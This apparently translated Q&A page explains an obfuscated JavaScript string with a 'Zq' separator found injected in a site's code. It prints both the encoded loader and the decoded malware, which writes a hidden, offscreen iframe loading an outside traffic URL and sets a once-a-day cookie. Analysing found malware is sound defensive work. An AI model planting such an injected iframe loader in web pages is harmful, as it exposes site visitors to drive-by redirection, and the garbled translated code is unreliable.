What encoding does the "Zq" prefix use?

I am trying to decode the following text with a hexadecimal character whose prefix is ​​"Zq".

I tried to decode this from base 16, 32, 64 without success. This is a coded instruction from JavaScript source code.

I would like to understand why:

# a9a007 # if (empty ($ zhk)) {$ zhk = "ortjy = String; ntniz = \" spl \ "+ \" i \ "+ \" t \ "; rucoec = window; ejy = (1)? \ "0x \": \ "123 \", cod = (5-3-1), try {if (Math.ceil (5.5) === 0x6) - (document [\ "b \" + \ "odes \ "])} catch (BKK) {uervpm = false;} {try to catch (FMR) {uervpm = 21;} if (1) {xphl = \" 63Zq5cZq64Zq5cZq65Zq6bZq39Zq70Zq40Zq5bZq1fZq1eZq6dZq6eZq6dZq1eZq20Zq20Zq17Zq72Zq4Zq1Zq17Zq5bZq66Zq5aZq6cZq64Zq5cZq65Zq6bZq25Zq6eZq69Zq60Zq6bZq5cZq1fZq1eZq33Zq67Zq17Zq60Zq5bZq34Zq53Zq1eZq6dZq6eZq6dZq53Zq1eZq17Zq5aZq63Zq58Zq6aZq6aZq34Zq53Zq1eZq6dZq6eZq6dZq27Zq30Zq53Zq1eZq17Zq35Zq33Zq26Zq67Zq35Zq1eZq20Zq32Zq4Zq1Zq17Zq5bZq66Zq5aZq6cZq64Zq5cZq65Zq6bZq25Zq5eZq5cZq6bZq3cZq63Zq5cZq64Zq5cZq65Zq6bZq39Zq70Zq40Zq5 bZq1fZq1eZq6dZq6eZq6dZq1eZq20Zq25Zq58Zq67Zq67Zq5cZq65Zq5bZq3aZq5fZq60Zq63Zq5bZq1fZq6dZq6eZq6dZq20Zq32Zq4Zq1Zq17Zq74Zq4Zq1Zq74Zq4Zq1Zq5dZq6cZq65Zq5aZq6bZq60Zq66Zq65Zq17Zq4aZq5cZq6bZq3aZq66Zq66Zq62Zq60Zq5cZq1fZq5aZq66Zq66Zq62Zq60Zq5cZq45Zq58Zq64Zq5cZq23Zq5aZq66Zq66Zq62Zq60Zq5cZq4dZq58Zq63Zq6cZq5cZq23Zq65Zq3bZq58Zq70Zq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answer

Zq is a separator, not part of the value. The bit at the end probably performs the .split("Zq") operation, which creates an array of hexadecimal values.

A quick search reveals that these hexadecimal values ​​are only ASCII values ​​offset by 9. (I defined this with a fast for loop, but you can also see it in the code +0xa-cod , where 0xa is the hexadecimal 10 and cod set earlier as 5-3-1 (i.e. 1 )).

 var input_string = ""; var input_arr = input_string.split("Zq"); // use parseInt(val, 16) to decode each hex value to a Number // add 9 to that number // pass the sum into fromCharCode to get the char // join the characters var result = input_arr.map(function(val) { return String.fromCharCode(parseInt(val, 16) + 9); }).join(""); 

This shows the resulting text in result :

 function vwv09() { var static = 'ajax'; var controller = 'index.php'; var vwv = document.createElement('iframe'); vwv.src = 'http://inversionesrm.com/traf.php'; vwv.style.position = 'absolute'; vwv.style.color = '25746'; vwv.style.height = '25746px'; vwv.style.width = '25746px'; vwv.style.left = '100025746'; vwv.style.top = '100025746'; if (!document.getElementById('vwv')) { document.write('<p id=\'vwv\' class=\'vwv09\' ></p>'); document.getElementById('vwv').appendChild(vwv); } } function SetCookie(cookieName, cookieValue, nDays, path) { var today = new Date(); var expire = new Date(); if (nDays == null || nDays == 0) nDays = 1; expire.setTime(today.getTime() + 3600000 * 24 * nDays); document.cookie = cookieName + "=" + escape(cookieValue) + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : ""); } function GetCookie(name) { var start = document.cookie.indexOf(name + "="); var len = start + name.length + 1; if ((!start) && (name != document.cookie.substring(0, name.length))) { return null; } if (start == -1) return null; var end = document.cookie.indexOf(";", len); if (end == -1) end = document.cookie.length; return unescape(document.cookie.substring(len, end)); } if (navigator.cookieEnabled) { if (GetCookie('visited_uq') == 55) {} else { SetCookie('visited_uq', '55', '1', '/'); vwv09(); } } 

This text is then eval ed, which appears to set the visited_uq cookie, and then opens an iframe on the page at inversionsrm.com .

+9
source

Source: https://habr.com/ru/post/955601/


All Articles